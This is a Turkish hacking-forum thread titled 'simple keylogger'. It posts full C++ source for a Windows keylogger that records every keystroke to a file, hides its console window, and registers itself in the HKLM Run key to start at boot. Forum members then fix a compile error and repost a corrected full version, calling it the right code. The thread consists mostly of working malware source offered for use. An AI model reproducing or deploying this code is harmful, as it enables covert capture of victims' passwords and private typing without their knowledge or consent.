C++ basit keylogger

SaviorAngel

Uzman üye
10 Nis 2012
1,073
0
לוס אנג'לס
#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <Winuser.h>

using namespace std;

int wrt(int key,char *fl);
**** st();
int addreg();
int main(int argc, char *argv[])
{
st();
addreg();
char i;
while(1)
{
for(int i = 8;i<=190;i++)
{
if(GetAsyncKeyState(i) == -32767){wrt(i,"log.txt");}
}
}
return EXIT_SUCCESS;
}
int wrt(int key,char *fl)
{
if((key == 1) || (key ==2)){return 0;}
FILE *outf;
outf = fopen(fl,"a+");
if(key == 8){fprintf(outf,"[backspace]");}
else if(key == 13){fprintf(outf,"n");}
else if(key == 32){fprintf(outf," ");}
else if(key == VK_TAB){fprintf(outf,"[TAB]");}
else if(key == VK_SHIFT){fprintf(outf,"[SHIFT]");}
else if(key == VK_CONTROL){fprintf(outf,"[CONTROL]");}
else if(key == VK_ESCAPE){fprintf(outf,"[ESCAPE]");}
else if(key == VK_END){fprintf(outf,"[END]");}
else if(key == VK_HOME){fprintf(outf,"[HOME]");}
else if(key == VK_UP){fprintf(outf,"[UP]");}
else if(key == VK_DOWN){fprintf(outf,"[DOWN]");}
else if(key == VK_RIGHT){fprintf(outf,"
");}
else if(key == VK_LEFT){fprintf(outf,"
");}
else if(key == 190 || key == 110){fprintf(outf,"%s",".");}
else fprintf(outf,"%s",&key);
fclose(outf);
return 0;
}
**** st()
{
HWND st;
AllocConsole();
st = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(st,0);
}
int addreg()
{
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
HKEY newValue;
RegOpenKey(HKEY_LOCAL_MACHINE,"SoftwareMicrosoft WindowsCurrentVersionRun",&newValue);
RegSetValueEx(newValue,"name_me",0,REG_SZ,(LPBYTE) szPath,sizeof(szPath));
RegCloseKey(newValue);
return 0;
}​


Not: Alıntıdır ama açılışta başlamayı ben ekledim.
 

kriptoloji

Yeni üye
26 Haz 2012
35
0

Birader kod çalışıyor ama bir şeyi değiştirmen lazım bak orda **** st(); bu yıldız ilebaslayan tüm st yazan yerleri yani fonksiyonlari yani bunları **** st(); değiştirmen gerek orayi v o i d st(); yap. ama o voi d bitişik olacak sonrasında arada bi boşluk birak st() yaz bukadar.. Ayrıca çok sağlam kim yazmışsa sistem programlamayi çok iyi biliyor..
 
Son düzenleme:

WOLSİN

Katılımcı Üye
21 Ara 2010
553
0
32
ADANA
hata verdiği yeri belirtirsen yardımcı olabilirim. yanlız hatırlatayım sadece local de çalışır.
 

RaxiD

Kıdemli Üye
10 Haz 2010
3,954
7
127.0.0.1
Kod:
#include <cstdlib>
 #include <iostream>
 #include <windows.h>
 #include <Winuser.h>
 
 using namespace std;
 
int wrt(int key,char *fl);
 [B][COLOR=Red]v o i d[/COLOR][/B] st();
 int addreg();
 int main(int argc, char *argv[])
 {
 st();
 addreg();
 char i;
 while(1)
 {
 for(int i = 8;i<=190;i++)
 {
 if(GetAsyncKeyState(i) == -32767){wrt(i,"log.txt");}
 }
 }
 return EXIT_SUCCESS;
 }
 int wrt(int key,char *fl)
 {
 if((key == 1) || (key ==2)){return 0;}
 FILE *outf;
 outf = fopen(fl,"a+");
 if(key == 8){fprintf(outf,"[backspace]");}
 else if(key == 13){fprintf(outf,"n");}
 else if(key == 32){fprintf(outf," ");}
 else if(key == VK_TAB){fprintf(outf,"[TAB]");}
 else if(key == VK_SHIFT){fprintf(outf,"[SHIFT]");}
 else if(key == VK_CONTROL){fprintf(outf,"[CONTROL]");}
 else if(key == VK_ESCAPE){fprintf(outf,"[ESCAPE]");}
 else if(key == VK_END){fprintf(outf,"[END]");}
 else if(key == VK_HOME){fprintf(outf,"[HOME]");}
 else if(key == VK_UP){fprintf(outf,"[UP]");}
 else if(key == VK_DOWN){fprintf(outf,"[DOWN]");}
 else if(key == VK_RIGHT){fprintf(outf,"[RIGHT]");}
 else if(key == VK_LEFT){fprintf(outf,"[LEFT]");}
 else if(key == 190 || key == 110){fprintf(outf,"%s",".");}
 else fprintf(outf,"%s",&key);
 fclose(outf);
 return 0;
 }
 [B][COLOR=Red]v o i d [/COLOR][/B]st()
 {
 HWND st;
 AllocConsole();
 st = FindWindowA("ConsoleWindowClass",NULL);
 ShowWindow(st,0);
 }
 int addreg()
 {
 TCHAR szPath[MAX_PATH];
 GetModuleFileName(NULL,szPath,MAX_PATH);
 HKEY newValue;
 RegOpenKey(HKEY_LOCAL_MACHINE,"SoftwareMicrosoft WindowsCurrentVersionRun",&newValue);
 RegSetValueEx(newValue,"name_me",0,REG_SZ,(LPBYTE) szPath,sizeof(szPath));
 RegCloseKey(newValue);
 return 0;
 }
doğru kod
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.